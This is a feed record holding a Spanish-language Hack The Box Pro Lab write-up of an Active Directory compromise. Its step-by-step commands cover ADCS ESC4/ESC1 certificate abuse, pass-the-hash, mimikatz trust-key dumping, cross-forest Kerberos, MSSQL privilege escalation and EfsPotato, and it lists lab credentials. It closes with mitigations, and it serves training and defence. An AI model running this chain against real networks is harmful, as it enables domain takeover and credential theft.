{"uuid": "9202e0da-87a5-41a9-a35e-946539209532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://gist.github.com/VortekOffensive/9cd6dd93bc99b50fc2d4b18288ab878e", "content": "# HTB Pro Lab: Mythical \u2014 Writeup\n\n**Stack Tecnol\u00f3gico:** Windows Server 2022 \u00b7 Active Directory \u00b7 Mythic C2 (Apollo) \u00b7 ADCS \u00b7 MSSQL \u00b7 Cross-Forest Kerberos Trust  \n**Dificultad:** Advanced \n\n---\n\n## Identificaci\u00f3n\n\nTres flags, dos dominios, un beacon ya corriendo. El escenario asume acceso inicial dado \u2014 el trabajo empieza desde dentro.\n\n|Flag|Objetivo|\n|---|---|\n|Backups|Exfiltrar archivo de flag v\u00eda rsync interno|\n|Certified|SYSTEM en DC01 via ADCS ESC4\u2192ESC1 + PTH|\n|Mythical Master|SYSTEM en DC02 via cross-forest trust + MSSQL + EfsPotato|\n\nEl usuario inicial `Momo.Ayase` es miembro de `Backup Admins` y `Certificate Service DCOM Access` \u2014 dos grupos que no deber\u00edan ir juntos en un DC.\n\n\n\n\n---\n\n## An\u00e1lisis T\u00e9cnico\n\n**Chain:** DC01 (mythical-us.vl) \u2192 DC02 (mythical-eu.vl)  \n**Punto de entrada:** Assumed breach \u2014 beacon Apollo activo como `MYTHICAL-US\\Momo.Ayase` en DC01\n\n\n\n---\n### Flag 1 \u2014 Backups: Rsync sin autenticaci\u00f3n\n\nEl host `192.168.25.1` expone el puerto 873 (rsync). El DC tiene instalado `cwrsync` en `C:\\_admin\\cwrsync\\bin\\` \u2014 una utilidad leg\u00edtima de sincronizaci\u00f3n que nadie deber\u00eda haber dejado ah\u00ed con acceso a un share de dominio sin auth.\n\n\n\n\n\n```\nshell C:\\_admin\\cwrsync\\bin\\rsync.exe --list-only rsync://192.168.25.1\n```\n\nM\u00f3dulo `mythical` expuesto. Adentro: `flag.txt` y `it.kdbx`.\n\n```\nshell C:\\_admin\\cwrsync\\bin\\rsync.exe rsync://192.168.25.1/mythical/flag.txt /cygdrive/c/Users/Momo.Ayase/flag.txt\nshell type C:\\Users\\Momo.Ayase\\flag.txt\n```\n\nEl `it.kdbx` es una base KeePass v4 \u2014 `keepass2john` no la soporta, se necesita `keepass4brute` con la wordlist `rockyou-30` de Seclists. Password: `741852`. Contenido: `domjoin:hKvhexY5BtAgtWAY`.\n\n\n\n\n---\n\n### Flag 2 \u2014 Certified: ADCS ESC4 \u2192 ESC1 \u2192 PTH \u2192 SYSTEM\n\n#### Por qu\u00e9 esto funciona\n\nEl template `Machine` tiene `Full Control` para `Authenticated Users` \u2014 ESC4. Cualquier usuario autenticado puede modificar las propiedades del template. La propiedad que nos interesa: `msPKI-Certificate-Name-Flag`. Al agregarle `ENROLLEE_SUPPLIES_SUBJECT` (ESC1), la CA empieza a aceptar que el solicitante defina el SAN del certificado \u2014 incluyendo `administrator@mythical-us.vl`.\n\nUn certificado con ese SAN + autenticaci\u00f3n PKINIT = TGT de Administrator = hash NTLM.\n\n#### Kill Chain\n\n# 1. Crear cuenta de m\u00e1quina con domjoin\n```make_token mythical-us\\domjoin hKvhexY5BtAgtWAY\nshell C:\\Windows\\Temp\\StandIn.exe --computer vortekbox --make --domain mythical-us --user domjoin --pass hKvhexY5BtAgtWAY\n```\n# 2. Impersonar la cuenta de m\u00e1quina (make_token afecta a shell, no a execute_assembly)\n```\nmake_token mythical-us\\vortekbox$ \n```\n# 3. Convertir ESC4 a ESC1\n```\nshell C:\\Windows\\Temp\\StandIn.exe --adcs --filter Machine --ess --add\n```\n# 4. Dar permisos de enroll a Domain Users\n```\nshell C:\\Windows\\Temp\\StandIn.exe --adcs --filter Machine --ntaccount \"mythical-us\\domain users\" --enroll --add\n```\n\n# 5. Solicitar certificado con altname de Administrator\n```\nshell C:\\Windows\\Temp\\Certify.exe request /ca:dc01.mythical-us.vl\\mythical-us-DC01-CA /template:Machine /altname:administrator@mythical-us.vl\n```\n\n# 6. Convertir PEM \u2192 PFX (en Kali)\n```\nopenssl pkcs12 -in cert.pem -export -out admin.pfx -passout pass:\n```\n\n# 7. Subir PFX y solicitar TGT con hash\n```\nexecute_assembly -Assembly Rubeus.exe -Arguments \"asktgt /user:Administrator /certificate:C:\\Windows\\Temp\\admin.pfx /ptt /nowrap /getcredentials\"\n```\n\n# 8. PTH via SMBExec \u2192 nuevo beacon como SYSTEM\n```\npowerpick Invoke-SMBExec -Target 127.0.0.1 -Domain mythical-us.vl -Username administrator -Hash  -Command \"C:\\programdata\\google\\update.exe\"\n```\n\n\n**Nota cr\u00edtica:** `make_token` en Apollo solo afecta comandos `shell`. `execute_assembly` corre en su propio contexto \u2014 por eso StandIn y Certify se ejecutan via `shell`, no via `execute_assembly`.\n\n\n---\n\n### Flag 3 \u2014 Mythical Master: Cross-Forest Trust + MSSQL + EfsPotato\n\n#### Trust abuse\n\nDesde el beacon SYSTEM en DC01, mimikatz dumea las trust keys entre `mythical-us.vl` y `mythical-eu.vl`:\n\n```\nshell C:\\Users\\Administrator\\mimikatz.exe \"lsadump::trust /patch\" \"exit\"\n```\n\nEl hash `rc4_hmac_nt` del bloque `[ Out ]` permite solicitar un TGT en `mythical-eu.vl` como la cuenta de confianza `mythical-us$`:\n\n```\nexecute_assembly -Assembly Rubeus.exe -Arguments \"asktgt /user:mythical-us$ /domain:mythical-eu.vl /rc4: /nowrap /ptt\"\n```\n\nCon ese ticket en memoria, el acceso a recursos de `mythical-eu.vl` queda abierto.\n\n#### Credenciales hardcodeadas en binario .NET\n\nEl share `\\\\dc02.mythical-eu.vl\\dev` expone `getusers.exe` \u2014 un binario .NET custom. Decompilado con ILSpy:\n\n```csharp\nstring str = \"LDAP://dc02.mythical-eu.vl\";\nstring str1 = \"svc_ldap\";\nstring str2 = \"osaRXWkDf2y5SGh5\";\n```\n\nPassword spray confirma que `svc_sql` reutiliza la misma contrase\u00f1a. Da hueva, pero funciona.\n\n#### MSSQL Trustworthy DB \u2192 sysadmin\n\n`svc_sql` es `db_owner` en `msdb`. La base `msdb` tiene `is_trustworthy_on = 1` \u2014 esto permite que stored procedures ejecuten con los permisos del owner del servidor (sa):\n\n```sql\n-- Crear stored procedure malicioso que ejecuta como dbo (owner del server)\nCREATE PROCEDURE sp_elevate_me WITH EXECUTE AS OWNER \nAS EXEC sp_addsrvrolemember 'MYTHICAL-EU\\svc_sql', 'sysadmin';\n\n-- Ejecutar\nEXEC sp_elevate_me;\n\n-- Verificar\nSELECT IS_SRVROLEMEMBER('sysadmin'); -- returns 1\n```\n\nCon sysadmin habilitado, `xp_cmdshell` permite copiar el beacon al DC02 desde un SMB share en DC01 y ejecutarlo.\n\n#### EfsPotato \u2192 SYSTEM\n\nEl beacon en DC02 corre como `NT Service\\MSSQL$SQLEXPRESS` \u2014 con `SeImpersonatePrivilege` habilitado. EfsPotato (CVE-2021-36942) abusa del protocolo MS-EFSR para obtener un token de SYSTEM via impersonation:\n\n```\nexecute_assembly -Assembly EfsPotato.exe -Arguments \"\\\\\\hello\\update.exe\"\n```\n\nNuevo callback como SYSTEM en DC02. Mimikatz dumea `sekurlsa::logonpasswords` y en wdigest del usuario `root` aparece la flag en cleartext \u2014 porque WDigest estaba habilitado, como en 2008.\n\n\n\n\n---\n\n## Mitigaciones\n\n|Vector|Mitigaci\u00f3n|\n|---|---|\n|Rsync sin auth|Deshabilitar el servicio o requerir autenticaci\u00f3n por m\u00f3dulo; no instalar cwrsync en DCs|\n|KeePass con password d\u00e9bil|Pol\u00edtica de passwords para bases de credenciales; uso de hardware key como segundo factor|\n|ADCS ESC4|Revisar ACLs sobre templates con `Certify find /vulnerable`; quitar `Full Control` de Authenticated Users|\n|ADCS ESC1|Deshabilitar `ENROLLEE_SUPPLIES_SUBJECT` en templates que no lo requieran|\n|Credenciales hardcodeadas|Code review obligatorio antes de subir binarios a shares; uso de vault (CyberArk, HashiCorp)|\n|Password reuse entre service accounts|Cuentas de servicio con passwords \u00fanicas generadas por gMSA|\n|MSSQL Trustworthy DB|`ALTER DATABASE msdb SET TRUSTWORTHY OFF`; evitar que service accounts sean db_owner en msdb|\n|SeImpersonatePrivilege + Potato exploits|No correr servicios como NT Service con permisos de impersonation si no es necesario; aplicar parche MS-EFSR|\n|WDigest habilitado|`HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential = 0`|\n\n---\n\n## Referencias\n\n- [Certify \u2014 GhostPack ADCS Abuse](https://github.com/GhostPack/Certify)\n- [StandIn \u2014 AD Post-Exploitation](https://github.com/FuzzySecurity/StandIn)\n- [Rubeus \u2014 Kerberos Abuse](https://github.com/GhostPack/Rubeus)\n- [EfsPotato \u2014 CVE-2021-36942](https://github.com/zcgonvh/EfsPotato)\n- [ADCS ESC Attack Paths \u2014 Specterops](https://posts.specterops.io/certified-pre-owned-d95910965cd2)\n- [Invoke-TheHash \u2014 SMBExec PTH](https://github.com/Kevin-Robertson/Invoke-TheHash)\n- [Cross-Forest Trust Abuse \u2014 harmj0y](https://blog.harmj0y.net/redteaming/not-a-security-boundary-breaking-forest-trusts/)", "creation_timestamp": "2026-08-12T16:13:18.912696Z"}